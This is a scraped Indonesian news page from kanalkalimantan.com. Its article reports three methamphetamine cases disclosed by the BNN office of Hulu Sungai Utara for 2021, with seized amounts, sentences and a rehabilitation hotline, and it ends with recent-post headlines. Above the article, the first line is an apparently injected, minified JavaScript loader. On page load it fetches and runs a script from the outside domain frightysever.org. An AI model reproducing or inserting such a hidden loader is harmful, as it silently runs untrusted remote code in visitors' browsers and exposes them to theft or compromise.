(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Tiga Kasus Besar Diungkap BNNK HSU Sepanjang 2021


KANALKALIMANTAN. COM, AMUNTAI – Badan Narkotika Nasional (BNN) Kabupaten Hulu Sungai Utara (HSU) menggelar kegiatan press release akhir tahun 2021, mengundang awak media di kantor BNNK HSU, Rabu(1/12/2021) sore.

Dalam catatan BNNK HSU, tahun 2021 penyidik berhasil mengungkap 3 kasus besar penyalahgunaan narkotika golongan 1 jenis methamphetamine atau sabu.

“Di tahun 2021 kita melaksanakan penangkapan sebanyak 3 kasus, 4 orang tersangka dengan barang bukti narkotika sabu atau methamphetamine sebanyak 127,7 gram,” jelas Kepala BNNK HSU Kompol H Syamsuddin.

Tiga kasus besar itu, pertama terjadi di Kecamatan Amuntai Tengah tepatnya di Desa Kelurahan Kebun Sari melibatkan satu tersangka HM dengan barang bukti sabu seberat 25 gram.

 

Baca juga : Bupati Eddy Raya: Perhatikan Amdal, Perusahaan di Barsel Harus Rekrut 70 Persen Pekerja Lokal

Kemudian kasus kedua di Kecamatan Sungai Tabukan, di Desa Nelayan melibatkan 2 tersangka DI dan AL dengan barang bukti sabu seberat 100,99 gram
Dan kasus ketiga terjadi di Kecamatan Sungai Pandan, tepatnya di Desa Hambuku Hulu dengan melibatkan satu tersangka BH dengan barang bukti sabu seberat 1,71 gram.

“Kami sampaikan untuk semua kasus tersebut semuanya berkas sudah kami limpahkan, mulai dari pelaksanaan upaya penangkapan, artinya semua berkasnya sudah kami serahkan ke tahap persidangan,” jelasnya.

Sekadar diketahui, untuk kasus yang terjadi di Desa Kebun Sari tersangka HM telah divonis penjara selama 10 tahun dan denda sebesar Rp 3 miliar subsider 8 bulan.

Untuk tersangka AL, alamat Desa Nelayan, Kecamatan Sungai Tabukan telah divonis 10 tahun, denda sebesar Rp 2 miliar subsider 4 bulan. Dan tersangka DI asal Desa Sungai Lulut, Kabupaten Banjar, telah divonis 11 tahun denda sebesar Rp 2 miliar subsider 4 bulan kurungan.

 

Baca juga : Tes Urine BNNK HSU Temukan 7 ASN Positif Narkoba

“Sedangkan untuk tersangka BH alamat Hambuku Hulu, Kecamatan Sungai Pandan, dimana sampai sekarang sidangnya masih berlangsung sehingga belum ada putusan hukum,” jelas Kompol Syamsuddin.

BNNK HSU menyediakan pelayanan klinik pratama untuk kesembuhan para pecandu. Masyarakat dapat memanfaatkan layanan tersebut baik untuk diri sendiri ataupun keluarga yang ingin sembuh dari jeratan Narkotika.

Bagi masyarakat bisa menghubungi hotline kami BNNK HSU di nomor telepon 0527- 6060845, e-mail :bnnkhsu@gmail.com atau bnnkab. hulusungaiutara@bmn.go.id,
Facebook : BNN Kabupaten Hulu Sungai Utara, Youtobe : BNNK Hulu Sungai Utara,
Whatshap: 0812 5737 8305 ( Klinik Pratama Rehabilitasi), Instagram : @infobnn_kab_hsu,Twitter :infobnn_kab_hsu . (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

12 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

13 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

14 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

15 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

16 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

16 jam ago

This website uses cookies.